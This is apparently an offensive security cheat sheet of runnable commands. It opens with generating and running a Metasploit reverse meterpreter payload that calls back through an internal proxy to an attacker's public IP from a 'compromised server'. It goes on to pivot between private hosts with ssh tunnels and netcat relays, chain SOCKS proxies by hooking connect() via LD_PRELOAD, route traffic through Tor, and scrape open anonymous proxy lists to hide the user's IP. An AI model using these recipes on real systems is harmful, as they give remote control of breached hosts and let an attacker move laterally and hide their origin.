# Reverse meterpreter through an internal HTTP proxy server

Attacker's host

msf > use payload/python/meterpreter/reverse_http
msf payload(reverse_http) > set lhost LOCAL_PUBLIC_IP
msf payload(reverse_http) > set lport 80
msf payload(reverse_http) > set payloadproxyhost USERNAME:PASSWORD@INTERNAL_PROXY:IP
msf payload(reverse_http) > set payloadproxyport INTERNAL_PROXY_PORT
msf payload(reverse_http) > generate -b '\x00\xff' -t raw -f met.py

msf > use exploit/multi/handler
msf exploit(handler) > set payload python/meterpreter/reverse_http
msf exploit(handler) > set lhost LOCAL_PUBLIC_IP
msf exploit(handler) > set lport 80
msf exploit(handler) > set payloadproxyhost USERNAME:PASSWORD@INTERNAL_PROXY:IP
msf exploit(handler) > set PayloadProxyPort INTERNAL_PROXY_PORT
msf exploit(handler) > run

Compromised server

# python met.py

# Connecting two private hosts through a public pivot

METHOD 1 (ssh)

A reverse ssh tunnel, from host1 to pivot

host1# ssh -R localhost:1337:localhost:1234 -f -N root@pivot
host1# nc -l localhost 1234

A proxy ssh tunnel, from host2 to pivot

host2# ssh -L localhost:1234:localhost:1337 -f -N root@pivot
host2# nc localhost 1234

Diagram

host2:r ---> host2:1234 --- pivot:1337 --- host1:1234
host2:r ---> host1:1234

METHOD 2 (netcat)

Two listeners at pivot

pivot# mkfifo p
pivot# nc -nvlp 1111 0<p | nc -nvlp 2222 1>p

A running service and a pipe between the local port at host1 and the pivot

host1# nc -nvlp 1234
host1# mkfifo p
host1# nc -nv pivot 1111 0<p | nc -nv localhost 1234 1>p

A connection from host2 to pivot/host1

host2# nc -nv pivot 2222

Diagram

host2:r --> pivot:2222 --- pivot:1111 --- host1:1234
host2:r --> host1:1234

# ashell: Proxy chaining hooking connect()

Introduction

Anonymous shell (ashell) is a tool to tunnel your connections through HTTP/Socks4/Socks5 proxies.
Supports TCP, authentication and chaining different proxy types.
It works by hooking the connect() function using LD_PRELOAD environment variable.

http://sourceforge.net/projects/ashell/


Building and using the tool

# apt-get install libssl-dev
# wget http://downloads.sourceforge.net/project/ashell/ashell-0.3.tar.bz2
# tar xvjf ashell-0.3.tar.bz2
# cd ashell-0.3
# cat README
# cp ashell/ashell.c .
# cat > Makefile << "EOF"
> HEADERS = http.h socks.h strlib.h
> OBJECTS = http.o socks.o strlib.o ashell.o
> CFLAGS = -Wall
> LFLAGS = -ldl -shared -nostartfiles -fpic
>
> default: ashell.so
>
> %.o: %.c $(HEADERS)
> #gcc -o $@ -c $<
>
> ashell.so: $(OBJECTS)
> #gcc -o $@ $(CFLAGS) $(LFLAGS) $(OBJECTS)
>
> clean:
> #rm -rf $(OBJECTS)
> EOF
# sed -i 's/#/\t/' Makefile
# make
# curl -w "\nTime total=%{time_total}\n" whatismyip.akamai.com
1.2.3.4
Time total=0,058
# export P_DEBUG=0 # P_DEBUG=1 turns on debugging
# export LD_PRELOAD=./ashell.so
# export APROXY=S:89.28.65.46:1080+S:86.127.123.141:18060
# curl -w "\nTime total=%{time_total}\n" whatismyip.akamai.com
86.127.123.141
Time total=3,323

Socks5 open proxy list

http://spys.ru/en/socks-proxy-list/

# Privoxy server together with Tor

Introduction

Privoxy user manual
Tor on Ubuntu

Execution

server# apt-get install privoxy tor
server# netstat -tan | grep -e 8118 -e 9050
server# cat /etc/privoxy/config | grep -v -e ^# -e ^$
server# sed -i 's/listen-address  localhost:8118/listen-address  192.168.0.100:8118/' /etc/privoxy/config
server# sed -i 's/#        forward-socks5   \/               127.0.0.1:9050 ./forward-socks5 \/ 127.0.0.1:9050 ./' /etc/privoxy/config
server# /etc/init.d/privoxy restart

client# export http_proxy='192.168.0.100:8118'
client# env | grep -i proxy
client# wget -q -O - http://ip-addr.es
137.56.163.64 (tory.uvt.nl)

# Highly anonymous proxy from command-line

Introduction

AliveProxy

Execution

server# cat header_check.php
<?php
 $get_headers=apache_request_headers();
 echo $_SERVER['REQUEST_METHOD']." ".
 $_SERVER['REQUEST_URI']." ".
 $_SERVER['SERVER_PROTOCOL']."\n";
 foreach($get_headers as $header=>$value){
  echo "$header: $value\n";
 }
 echo "Your IP address is:  ".$_SERVER['REMOTE_ADDR'];
?>

client# cat get_proxy_list.sh
#!/bin/bash

wget -q -O - http://aliveproxy.com/high-anonymity-proxy-list/ \
| sed -e 's/?i=/\n%/g' -e 's/ target=_/\n/g' | grep ^% \
| sed -e 's/^%//' -e 's/&p=/:/'

client# export http_proxy=''
client# wget -q -U "Mozilla/5.0 (Windows NT 5.1)" -O - \
> http://foo.bar.net/header_check.php
GET /header_check.php HTTP/1.0
User-Agent: Mozilla/5.0 (Windows NT 5.1)
Accept: */*
Host: foo.bar.net
Connection: Keep-Alive
Your IP address is: x.x.17.53

client# export http_proxy=`./get_proxy_list.sh | head -n 1`
client# env | grep -i proxy
client# wget -q -U "Mozilla/5.0 (Windows NT 5.1)" -O - \
> http://foo.bar.net/header_check.php
GET /header_check.php HTTP/1.0
User-Agent: Mozilla/5.0 (Windows NT 5.1)
Accept: */*
Host: foo.bar.net
Connection: close
Your IP address is: 202.108.5.35